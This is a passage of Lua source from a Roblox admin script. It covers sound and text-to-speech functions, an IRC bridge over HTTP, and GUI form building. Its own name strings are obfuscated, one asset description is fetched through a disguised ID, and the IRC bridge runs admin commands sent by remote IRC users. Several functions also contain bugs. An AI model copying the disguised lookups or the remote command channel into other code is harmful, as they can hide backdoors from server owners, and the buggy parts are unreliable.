3348 Sound.Pitch = Pitch
3349 Sound.Volume = Volume
3350 Sound.SoundId = ID
3351 Sound.Looped = Looped
3352 return Sound
3353end
3354
3355function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3356 if not Player or not ID then return nil end
3357 if NotifySounds[ID] then ID = NotifySounds[ID] end
3358 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3359 if Settings.EnableSounds or OverrideSettings then
3360 coroutine.wrap(function()
3361 wait()
3362 ClientSound:Play()
3363 Delay(5, function() ClientSound:Destroy() end)
3364 end)()
3365 end
3366 return Sound
3367end
3368
3369function SOUND:BindButton(Button)
3370 if not Button then return end
3371 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3372 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3373end
3374
3375function SOUND:StopGlobalSound()
3376 if Sound and Sound.Parent then
3377 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3378 Sound.Parent:Destroy()
3379 end
3380
3381 Sound:Stop()
3382 Sound:Destroy()
3383 Sound.SoundId = ""
3384 end
3385end
3386
3387function SOUND:PlayGlobalSound(ID, ShowInfo)
3388 SOUND:StopGlobalSound()
3389 if ShowInfo == nil then ShowInfo = true end
3390 local SoundID = ID
3391 local SoundName = nil
3392 local SoundCreator = nil
3393 local Pitch = 1
3394
3395 for Name,Info in pairs(SoundList) do
3396 if type(SoundID) == "string" then
3397 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3398 SoundID = Info[1]
3399 SoundName = Info[2]
3400 SoundCreator = Info[3]
3401 end
3402 else
3403 break
3404 end
3405 end
3406
3407 if tonumber(SoundID) and not SoundName then
3408 local Info = MARKET:GetItemInfo(SoundID, true)
3409 if Info then
3410 SoundName = Info.Name
3411 SoundCreator = Info.Creator.Name
3412 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3413 SoundID = nil
3414 end
3415 end
3416 end
3417
3418 if tonumber(SoundID) then
3419 if SoundID == 131201443 then Pitch = -1 end
3420 if SoundID == 130775695 then Pitch = 0.8 end
3421 if SoundID == 144035866 then Pitch = 0.8 end
3422
3423 local SoundParent = Server.Workspace
3424 if IsSB then
3425 SoundParent = Instance.new("Script", Workspace)
3426 SoundParent.Name = "M".."ML'S Admin Sound"
3427 end
3428 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3429 Sound.Name = "MML's Admin Sound "..SoundID
3430 Sound:Play()
3431 if ShowInfo == true then
3432 for _,Player in pairs(Server.Players:GetPlayers()) do
3433 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3434 end
3435 end
3436 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3437 end
3438end
3439
3440function SOUND:ConvertText(Text)
3441 Text = string.lower(tostring(Text))
3442 local Letters = {}
3443 local IDs = {}
3444 for Rule,Replace in pairs(TextConverter.Pronounce) do
3445 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3446 end
3447 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3448 local Start, End = string.find(Text, string.lower(Rule))
3449
3450 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3451 Text = string.gsub(Text, string.lower(Rule), Replace)
3452 end
3453 end
3454 for i = 1,#Text do
3455 table.insert(Letters, string.sub(Text,i,i))
3456 end
3457 for Num = 1,#Letters do
3458 if not Letters[Num] then break end
3459 local Letter = Letters[Num]
3460
3461 local function AddLetter()
3462 table.insert(IDs, TextConverter.LetterSounds[Letter])
3463 end
3464
3465 if Letter ~= "~" then
3466 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3467 table.insert(IDs, TextConverter.LetterSounds["oo"])
3468 table.remove(Letters, Num + 1)
3469 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3470 table.insert(IDs, TextConverter.LetterSounds["oo"])
3471 table.remove(Letters, Num + 1)
3472 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3473 table.insert(IDs, TextConverter.LetterSounds["th"])
3474 table.remove(Letters, Num + 1)
3475 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3476 table.insert(IDs, TextConverter.LetterSounds["sh"])
3477 table.remove(Letters, Num + 1)
3478 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3479 table.insert(IDs, TextConverter.LongVowels["e"])
3480 table.remove(Letters, Num + 1)
3481 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3482 table.insert(IDs, TextConverter.LetterSounds["wh"])
3483 table.remove(Letters, Num + 1)
3484 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3485 table.insert(IDs, TextConverter.LetterSounds["ch"])
3486 table.remove(Letters, Num + 1)
3487 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3488 table.insert(IDs, TextConverter.LetterSounds["f"])
3489 table.remove(Letters, Num + 1)
3490 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3491 table.insert(IDs, TextConverter.LetterSounds[Num])
3492 Letters[Num + 1] = "j"
3493 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3494 table.insert(IDs, TextConverter.LetterSounds["oo"])
3495 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3496 table.insert(IDs, TextConverter.LongVowels["e"])
3497 table.remove(Letters, Num + 1)
3498 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3499 table.insert(IDs, TextConverter.LongVowels["e"])
3500 table.remove(Letters, Num + 1)
3501 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3502 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3503 table.insert(IDs, TextConverter.LetterSounds["s"])
3504 Letters[Num + 1] = "~"
3505 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3506 table.insert(IDs, TextConverter.LongVowels[Letter])
3507 Letters[Num + 2] = "~"
3508 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3509 table.insert(IDs, TextConverter.LongVowels["i"])
3510 Letters[Num + 1] = "~"
3511 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3512 table.insert(IDs, TextConverter.LongVowels["o"])
3513 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3514 table.insert(IDs, TextConverter.LongVowels["i"])
3515 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3516 AddLetter()
3517 table.remove(Letters, Num + 1)
3518 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3519 Letters[Num] = "~"
3520 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3521 AddLetter()
3522 table.remove(Letters, Num + 1)
3523 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3524 AddLetter()
3525 table.remove(Letters, Num + 1)
3526 elseif Letters[Num+1] == Letter then
3527 table.remove(Letters, Num)
3528 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3529 AddLetter()
3530 table.remove(Letters, Num)
3531 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3532 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3533 elseif TextConverter.LetterSounds[Letter] then
3534 AddLetter()
3535 elseif STRING:IsSpacer(Letter) then
3536 table.insert(IDs, "Rest")
3537 end
3538 end
3539 end
3540
3541 return IDs
3542end
3543
3544function SOUND:StopSpeaking() coroutine.wrap(function()
3545 NoSpeak = true
3546 wait(1)
3547 NoSpeak = false
3548 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3549 if Obj.Name == "M".."M".."L Speak Sound" then
3550 Obj:Destroy()
3551 end
3552 end
3553end)() end
3554
3555function SOUND:SayConvertedText(IDs, Parent)
3556 if not Parent then Parent = Server.Workspace end
3557 local Sounds = {}
3558 for _,Data in pairs(IDs) do
3559 if NoSpeak and Parent == Server.Workspace then
3560 break
3561 end
3562 local Length = 0.3
3563 if Data ~= "Rest" then
3564 local ID = Data[1]
3565 Length = Data[2]
3566
3567 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3568 Sound.Name = "MML Speak Sound"
3569 table.insert(Sounds, Sound)
3570 Sound:Play()
3571 if Length then
3572 coroutine.wrap(function()
3573 wait(Length)
3574 Sound:Stop()
3575 end)()
3576 end
3577 end
3578 if not Length then Length = 0.3 end
3579 wait(Length/2)
3580 end
3581 coroutine.wrap(function()
3582 wait(1)
3583 for _,Sound in pairs(Sounds) do
3584 Sound:Destroy()
3585 end
3586 end)()
3587end
3588
3589local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3590
3591function SOUND:BeepPlayer(Player)
3592 if Player:FindFirstChild("PlayerGui") then
3593 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3594 Beep.Name = "Annoy"
3595 Beep:Play()
3596 end
3597end
3598
3599function SOUND:ClearInfo()
3600 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3601end
3602
3603-- IRC functions --
3604
3605function IRC:GenerateName()
3606 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3607end
3608
3609function IRC:AddChat(Name, Data, IsError)
3610 if not IsError then IsError = false end
3611 CORE:Log(IRC.Logs, Name, Data)
3612 table.insert(IRC.Chats, {Name, Data, IsError})
3613 IRC.MessageAdded:Fire(Name, Data, IsError)
3614end
3615
3616function IRC:Post(URL,Data)
3617 if Data and Data ~= "" then
3618 local Suc,Resp = ypcall(function()
3619 return Server.HS:PostAsync(
3620 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3621 Data,
3622 Enum.HttpContentType.ApplicationUrlEncoded
3623 )
3624 end)
3625 if not Suc then
3626 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3627 return false
3628 end
3629 IRC.SessionCounter = IRC.SessionCounter + 1
3630 return Resp
3631 else
3632 IRC:AddChat("[ CLIENT ]", "Unknown error")
3633 end
3634end
3635
3636function IRC:Send(Data)
3637 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3638end
3639
3640function IRC:GetData()
3641 return IRC:Post("s","&s="..IRC.SessionID)
3642end
3643
3644function IRC:Connect()
3645 return IRC:Post("n","&nick="..IRC.NickName)
3646end
3647
3648function IRC:Join(Channel)
3649 if not Channel then
3650 AddChat("[ CLIENT ]", "No channel specified!")
3651 return false
3652 else
3653 local Channel = string.lower(Channel)
3654 if string.sub(Channel,1,1) ~= "#" then
3655 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3656 return false
3657 end
3658 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3659 IRC:Send("JOIN "..Channel)
3660 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3661 return true
3662 end
3663end
3664
3665function IRC:Pong(Data)
3666 return IRC:Send("PONG :"..Data)
3667end
3668
3669function IRC:Quit(Reason)
3670 IRC.Stop = true
3671 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3672end
3673
3674function IRC:ReceiveData()
3675 IRC.Stop = false
3676 local Data = IRC:GetData()
3677 if Data then
3678 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3679 end
3680 while Data and not Stop do
3681 local Data = IRC:GetData()
3682 if Data and #Data > 0 then
3683 IRC:HandleResponse(REMOTE:Decode(Data))
3684 end
3685 wait(2) -- Don't spam the server
3686 end
3687 if not Data then
3688 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3689 end
3690 if Stop == true then
3691 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3692 end
3693end
3694
3695function IRC:ConnectToServer(Server)
3696 if Connected then
3697 if not IRC.Servers[Server] then
3698 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3699 return false
3700 end
3701 IRC:Quit("New Connection")
3702 end
3703 local Response = IRC:Connect()
3704 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3705 local Data = REMOTE:Decode(Response)
3706 IRC.SessionID = Data[2]
3707 wait(1)
3708 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3709 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3710 IRC:Quit()
3711 IRC:ConnectToServer(Server)
3712 end
3713 IRC.Connected = true
3714 IRC:Join(Settings.IRCChannel)
3715 IRC:ReceiveData()
3716 IRC.Connected = false
3717 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3718end
3719
3720function IRC:FindUser(UserName)
3721 for UserID,User in pairs(IRC.Users) do
3722 if string.lower(User) == string.lower(UserName) then
3723 return UserID
3724 end
3725 end
3726 return nil
3727end
3728
3729function IRC:HandleResponse(Data)
3730 if type(Data) ~= "table" then
3731 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3732 ypcall(function()
3733 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3734 end)
3735 return false
3736 end
3737 for _,Output in pairs(Data) do
3738 if type(Output) == "table" and Output[2] then
3739 local ID = string.upper(Output[2])
3740 if not IRC.Ignore[ID] then
3741 if ID == "PING" then
3742 IRC:Pong(Output[4][1])
3743 elseif ID == "PRIVMSG" then
3744 local SenderDetails = Output[3]
3745 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3746 local Channel = string.lower(Output[4][1])
3747 if Channel == IRC.NickName then
3748 Channel = Sender
3749 -- TODO: Handle PM's
3750 end
3751 local Message = Output[4][2]
3752 if Message ~= nil then
3753 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3754 if string.find(Message,":") then
3755 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3756 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3757 IRC:AddChat(IRCUser, IRCMessage)
3758 end
3759 else
3760 IRC:AddChat("[ IRC ] "..Sender,Message)
3761 for _,Name in pairs(Settings.IRCCommandExecuters) do
3762 if string.lower(Name) == string.lower(Sender) then
3763 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3764 break
3765 end
3766 end
3767 end
3768 else
3769 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3770 end
3771 elseif ID == "NICK" then
3772 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3773 -- change nickname?
3774 elseif ID == "433" or ID == "451" then
3775 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3776 IRC:Quit("Nickname in use, rejoining with new name")
3777 IRC.NickName = IRC:GenerateName()
3778 wait(2) -- wait for old sessions to end
3779 IRC:ConnectToServer(Settings.IRCServer)
3780 elseif ID == "353" then
3781 if Data[4][4][4] then
3782 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3783 table.insert(IRC.Users, Output)
3784 end
3785 end
3786 elseif ID == "QUIT" or ID == "PART" then
3787 for User in string.gmatch(Data[1][3], "[^!~]+") do
3788 if IRC:FindUser(User) then
3789 IRC:AddChat("[ IRC ]", User.." has left")
3790 table.remove(IRC.Users, IRC:FindUser(User))
3791 end
3792 end
3793 elseif ID == "JOIN" then
3794 for User in string.gmatch(Data[1][3], "[^!~]+") do
3795 if not string.find(User, "qwebirc") then
3796 IRC:AddChat("[ IRC ]", User.." has joined")
3797 table.insert(IRC.Users,w)
3798 end
3799 end
3800 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3801 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3802 --IRC:Quit("Connection lost")
3803 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3804 --IRC:ConnectToServer(Settings.IRCServer)
3805 elseif IRC.Codes[ID] then
3806 --print(ID)
3807 --print(Data[i][4][2])
3808 --print(Data[i][4][2])
3809 elseif ID == "KICK" then
3810 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3811 IRC:Quit("Kicked from IRC")
3812 elseif ID then
3813 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3814 else
3815 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3816 end
3817 end
3818 else
3819 if Output == false then return false end -- sneeky server
3820 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3821 end
3822 end
3823end
3824
3825-- GUI functions --
3826
3827function GUI:GetColor(ColorName)
3828 if not ColorName then ColorName = Settings.ColorScheme end
3829 return Colors[string.upper(ColorName)]
3830end
3831
3832function GUI:ContrastColor(Color)
3833 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3834 if not Color then Color = GUI:GetColor() end
3835 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3836end
3837
3838
3839function GUI:GetNameColor(Name)
3840 local Val = 0
3841 for i = 1, #Name do
3842 local CVal = string.byte(string.sub(Name, i, i))
3843 local RevIndex = #Name - i + 1
3844 if #Name%2 == 1 then
3845 RevIndex = RevIndex - 1
3846 end
3847 if RevIndex%4 >= 2 then
3848 CVal = -CVal
3849 end
3850 Val = Val + CVal
3851 end
3852 local Index = Val%8 + 1
3853
3854 return BrickColor.new(ChatColors[Index])
3855end
3856
3857function GUI:Color3ToHex(Color)
3858 local function ConvertNumber(Number)
3859 local HexString = "0123456789abcdef"
3860 local Byte = ""
3861 while Number > 0 do
3862 local Calc = math.fmod(Number, 16)
3863 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3864 Number = math.floor(Number / 16)
3865 end
3866 if Calc == "" then
3867 Byte = "00"
3868 elseif #Byte == 1 then
3869 Byte = "0"..Byte
3870 elseif Byte == "" then
3871 Byte = "00"
3872 end
3873 return Byte
3874 end
3875 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3876end
3877
3878function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3879 if not Player then return nil end
3880 if not Player:FindFirstChild("PlayerGui") then return nil end
3881 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3882 if not TitleText then TitleText = "Unknown" end
3883 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3884 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3885 if not IconID then IconID = 19919809 end
3886 if ShowFormButtons == nil then ShowFormButtons = true end
3887 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3888 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3889 if AutoOffset == nil then AutoOffset = true end
3890 if Icons[IconID] then IconID = Icons[IconID] end
3891 if TweenPosition == nil then TweenPosition = true end
3892 if NoModal == nil then NoModal = false end
3893 if NoScrollFrame == nil then NoScrollFrame = false end
3894
3895 local IsClosed = false
3896 local Minus = nil
3897 local Offset = 0
3898 local ContentType = "ScrollingFrame"
3899 local TweenSpeed = 0.3
3900
3901 if AutoOffset then
3902 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3903 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3904 if Item.IsActive.Value == true then
3905 if Item.IsTrueForm.Value == true then
3906 Offset = Offset + 50
3907 end
3908 end
3909 end
3910 end
3911 end
3912
3913 if NoScrollFrame == true then
3914 ContentType = "Frame"
3915 end
3916
3917 SOUND:PlayNotification(Player, 155331654)
3918
3919 local Position = Position + UDim2.new(0,Offset,0,Offset)
3920 local MinimizePos = Position
3921
3922 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3923 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3924 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3925
3926 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3927 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3928 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3929 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3930 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3931 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3932 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3933 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3934 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3935
3936 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3937 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3938 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3939 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3940 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3941
3942 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3943
3944 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3945
3946 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3947 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3948 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3949 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3950 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3951 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3952
3953 if Settings.EnableTaskBar then
3954 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3955 else
3956 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3957 Title.Size = UDim2.new(1, -95, 0, 25)
3958 end
3959
3960 if not ShowFormButtons then
3961 X:Destroy()
3962 TitleEnd:Destroy()
3963 Title.Size = UDim2.new(1, -55, 0, 25)
3964 end
3965
3966 local function CloseForm()
3967 if IsClosed == false then
3968 IsActive.Value = false
3969 IsClosed = true
3970 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3971 Closed:Fire()
3972 SOUND:PlayNotification(Player, 206375138)
3973 end
3974 end
3975
3976 local function MinimizeForm()
3977 if IsActive.Value == true then
3978 IsActive.Value = false
3979 Minimized:Fire()
3980 MinimizePos = Dragger.Position
3981 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3982 end
3983 end
3984
3985 local function RestoreForm()
3986 if IsActive.Value == false then
3987 IsActive.Value = true
3988 Restored:Fire()
3989 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3990 end
3991 end
3992
3993 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3994 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3995
3996 Close.OnInvoke = CloseForm
3997 Minimize.OnInvoke = MinimizeForm
3998 Restore.OnInvoke = RestoreForm
3999
4000 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4001
4002 if TaskBar then
4003 TaskBar:WaitForChild("AddForm")
4004 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4005 end
4006
4007 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4008end
4009
4010function GUI:CoreGui(Player, Type, Enable)
4011 local Parent = Player:FindFirstChild("Backpack")
4012 if not Parent then Parent = Player.Backpack end
4013 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4014end
4015
4016function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4017 if not Player or not Player:IsA("Player") then return nil end
4018 if BodyText == "" then return nil end
4019 if not Player:FindFirstChild("PlayerGui") then return nil end
4020
4021 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4022 local TextColor = GUI:GetColor(MessageSplit[1])
4023 if TextColor then BodyText = MessageSplit[2] end
4024 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4025
4026 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4027 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4028
4029 if Frame then
4030 local FormBar = Frame.Parent.Parent.FormBar
4031 local Said = false
4032 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4033 if Settings.EnableTaskBar then
4034 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4035 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4036 else
